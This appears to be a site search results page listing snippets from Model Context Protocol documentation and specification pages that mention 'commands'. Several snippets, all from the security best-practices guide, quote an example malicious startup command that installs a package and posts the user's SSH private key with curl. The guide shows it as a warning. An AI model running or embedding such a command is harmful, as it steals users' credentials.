394 pages for commands.

Security Best Practices Model Context Protocol · in the page docs/2025-06-18/tutorials/security/security_best_practices …running on localhost via DNS rebinding Example malicious startup commands that could be embedded: ```bash theme={null} # Data exfiltration npx malicious-package && curl -X POST -d @~/.ssh/id_rsa… Build an MCP client Model Context Protocol · in the page docs/2025-11-25/develop/build-client …rs without terminating the interactive session > * Validate server commands before running them > 2. **Resource Management** > * Always cancel the MCP session during cleanup > * Ensure cleanu… Build an MCP server Model Context Protocol · in the page docs/2025-11-25/develop/build-server …> > Save the file, and restart **Claude for Desktop**. ### Test with commands Let's make sure Claude for Desktop is picking up the two tools we've exposed in our `weather` server. You can do this by… Understanding MCP servers Model Context Protocol · in the page docs/2025-11-25/learn/server-concepts …ypically expose prompts through various UI patterns such as: * Slash commands (typing "/" to see available prompts like /plan-vacation) * Command palettes for searchable access * Dedicated UI buttons… Security Best Practices Model Context Protocol · in the page docs/2025-11-25/tutorials/security/security_best_practices …running on localhost via DNS rebinding Example malicious startup commands that could be embedded: ```bash theme={null} # Data exfiltration npx malicious-package && curl -X POST -d @~/.ssh/id_rsa… Build an MCP client Model Context Protocol · in the page docs/2026-07-28/develop/build-client …output schemas > * Connect only to trusted servers and executable commands > > ## Troubleshooting > > ### Server Command Issues > > The arguments after `cargo run --` must form a complete command.… Build an MCP server Model Context Protocol · in the page docs/2026-07-28/develop/build-server …> > Save the file, and restart **Claude for Desktop**. ### Test with commands Let's make sure Claude for Desktop is picking up the two tools we've exposed in our `weather` server. You can do this by… Understanding MCP servers Model Context Protocol · in the page docs/2026-07-28/learn/server-concepts …ypically expose prompts through various UI patterns such as: * Slash commands (typing "/" to see available prompts like /plan-vacation) * Command palettes for searchable access * Dedicated UI buttons… MCP Inspector Model Context Protocol · in the page docs/2026-07-28/tools/inspector …cpdo.md) that connects to a server once and keeps it open across many commands, on the same core. ? The [mcpdo connection >… Configuration and flags Model Context Protocol · in the page docs/2026-07-28/tools/inspector/configuration …026-07-28/tools/inspector/mcpdo.md) never falls back to `memory`: its commands and its daemon are separate processes, so it uses the file store instead. ### The file store The file lives at `MCP_INS… mcpdo connection client Model Context Protocol · in the page docs/2026-07-28/tools/inspector/mcpdo …pdo connection client > Connect to an MCP server once, then run many commands against that named connection `mcpdo` is an **experimental** command-line client that ships in the `@modelcontextprotoco… Recipes Model Context Protocol · in the page docs/2026-07-28/tools/inspector/recipes …do disconnect my-server ``` A connection runs one call at a time, so commands against the same connection from other shells wait their turn. The daemon that holds the connection starts automatically… Security Model Context Protocol · in the page docs/2026-07-28/tools/inspector/security …s/2026-07-28/tools/inspector/mcpdo.md) keeps connections open between commands by handing them to a background daemon, `mcpdod`. It is started **automatically** the first time a command needs it (`mcp… Understanding Authorization in MCP Model Context Protocol · in the page docs/2026-07-28/tutorials/security/authorization …ght>=1.1.391", "pytest>=8.3.4", "ruff>=0.8.5"] > ``` > > Then run the commands below to start the server. > > ```bash theme={null} > uv sync > uv run mcp-simple-auth-rs > ``` > [tab] C# > > You can s… Security Best Practices Model Context Protocol · in the page docs/2026-07-28/tutorials/security/security_best_practices …running on localhost via DNS rebinding Example malicious startup commands that could be embedded: ```bash theme={null} # Data exfiltration npx malicious-package && curl -X POST -d @~/.ssh/id_rsa… Build an MCP client Model Context Protocol · in the page docs/draft/develop/build-client …output schemas > * Connect only to trusted servers and executable commands > > ## Troubleshooting > > ### Server Command Issues > > The arguments after `cargo run --` must form a complete command.… Build an MCP server Model Context Protocol · in the page docs/draft/develop/build-server …> > Save the file, and restart **Claude for Desktop**. ### Test with commands Let's make sure Claude for Desktop is picking up the two tools we've exposed in our `weather` server. You can do this by… Understanding MCP servers Model Context Protocol · in the page docs/draft/learn/server-concepts …ypically expose prompts through various UI patterns such as: * Slash commands (typing "/" to see available prompts like /plan-vacation) * Command palettes for searchable access * Dedicated UI buttons… MCP Inspector Model Context Protocol · in the page docs/draft/tools/inspector …cpdo.md) that connects to a server once and keeps it open across many commands, on the same core. ? The [mcpdo connection >… Configuration and flags Model Context Protocol · in the page docs/draft/tools/inspector/configuration …ocs/draft/tools/inspector/mcpdo.md) never falls back to `memory`: its commands and its daemon are separate processes, so it uses the file store instead. ### The file store The file lives at `MCP_INS… mcpdo connection client Model Context Protocol · in the page docs/draft/tools/inspector/mcpdo …pdo connection client > Connect to an MCP server once, then run many commands against that named connection `mcpdo` is an **experimental** command-line client that ships in the `@modelcontextprotoco… Recipes Model Context Protocol · in the page docs/draft/tools/inspector/recipes …do disconnect my-server ``` A connection runs one call at a time, so commands against the same connection from other shells wait their turn. The daemon that holds the connection starts automatically… Security Model Context Protocol · in the page docs/draft/tools/inspector/security …o/docs/draft/tools/inspector/mcpdo.md) keeps connections open between commands by handing them to a background daemon, `mcpdod`. It is started **automatically** the first time a command needs it (`mcp… Understanding Authorization in MCP Model Context Protocol · in the page docs/draft/tutorials/security/authorization …ght>=1.1.391", "pytest>=8.3.4", "ruff>=0.8.5"] > ``` > > Then run the commands below to start the server. > > ```bash theme={null} > uv sync > uv run mcp-simple-auth-rs > ``` > [tab] C# > > You can s… Security Best Practices Model Context Protocol · in the page docs/draft/tutorials/security/security_best_practices …running on localhost via DNS rebinding Example malicious startup commands that could be embedded: ```bash theme={null} # Data exfiltration npx malicious-package && curl -X POST -d @~/.ssh/id_rsa… Build an MCP App Model Context Protocol · in the page extensions/apps/build …make sure that you are first in the **app folder** before running the commands above. **4. Test your app** Follow the instructions in [Testing your app](#testing-your-app) below. For the color picke… How to Authenticate When Publishing to the Official MCP Registry Model Context Protocol · in the page registry/authentication …authentication using the `mcp-publisher` CLI tool, run the following commands in your server project directory to generate a TXT record based on a public/private key pair: ```bash Ed25519 theme={nul… Quickstart: Publish an MCP Server to the MCP Registry Model Context Protocol · in the page registry/quickstart …packages). In particular, you will probably need to run the following commands: ```bash theme={null} # If necessary, authenticate to npm npm adduser # Publish the package npm publish --access public… SEP-1024: MCP Client Security Requirements for Local Server Installation Model Context Protocol · in the page seps/1024-mcp-client-security-requirements-for-local-server- …de installation flows, allowing malicious actors to execute arbitrary commands on user systems through crafted MCP server configurations distributed via links or social engineering. This proposal est… SEP-2148: MCP Contributor Ladder Model Context Protocol · in the page seps/2148-contributor-ladder …n be assigned to issues and PRs * Can use shortcut approval or review commands on PRs, such as `/lgtm` * Listed in community membership roster * Can create PRs in restricted repositories * Eligible fo… Overview Model Context Protocol · in the page specification/2024-11-05/server/index …ser-controlled | Interactive templates invoked by user choice | Slash commands, menu options | | Resources | Application-controlled | Contextual data attached and managed by the client | File contents… Prompts Model Context Protocol · in the page specification/2024-11-05/server/prompts …or use. Typically, prompts would be triggered through user-initiated commands in the user interface, which allows users to naturally discover and invoke available prompts. For example, as slash comm… Overview Model Context Protocol · in the page specification/2025-03-26/server/index …ser-controlled | Interactive templates invoked by user choice | Slash commands, menu options | | Resources | Application-controlled | Contextual data attached and managed by the client | File contents… Prompts Model Context Protocol · in the page specification/2025-03-26/server/prompts …or use. Typically, prompts would be triggered through user-initiated commands in the user interface, which allows users to naturally discover and invoke available prompts. For example, as slash comm… Overview Model Context Protocol · in the page specification/2025-06-18/server/index …ser-controlled | Interactive templates invoked by user choice | Slash commands, menu options | | Resources | Application-controlled | Contextual data attached and managed by the client | File contents… Prompts Model Context Protocol · in the page specification/2025-06-18/server/prompts …or use. Typically, prompts would be triggered through user-initiated commands in the user interface, which allows users to naturally discover and invoke available prompts. For example, as slash comm… Overview Model Context Protocol · in the page specification/2025-11-25/server/index …ser-controlled | Interactive templates invoked by user choice | Slash commands, menu options | | Resources | Application-controlled | Contextual data attached and managed by the client | File contents… Prompts Model Context Protocol · in the page specification/2025-11-25/server/prompts …or use. Typically, prompts would be triggered through user-initiated commands in the user interface, which allows users to naturally discover and invoke available prompts. For example, as slash comm… Overview Model Context Protocol · in the page specification/2026-07-28/server/index …ser-controlled | Interactive templates invoked by user choice | Slash commands, menu options | | Resources | Application-controlled | Contextual data attached and managed by the client | File contents… Prompts Model Context Protocol · in the page specification/2026-07-28/server/prompts …server. Typically, prompts would be triggered through user-initiated commands in the user interface, which allows users to naturally discover and invoke available prompts. For example, as slash comm… Overview Model Context Protocol · in the page specification/draft/server/index …ser-controlled | Interactive templates invoked by user choice | Slash commands, menu options | | Resources | Application-controlled | Contextual data attached and managed by the client | File contents… Prompts Model Context Protocol · in the page specification/draft/server/prompts …server. Typically, prompts would be triggered through user-initiated commands in the user interface, which allows users to naturally discover and invoke available prompts. For example, as slash comm…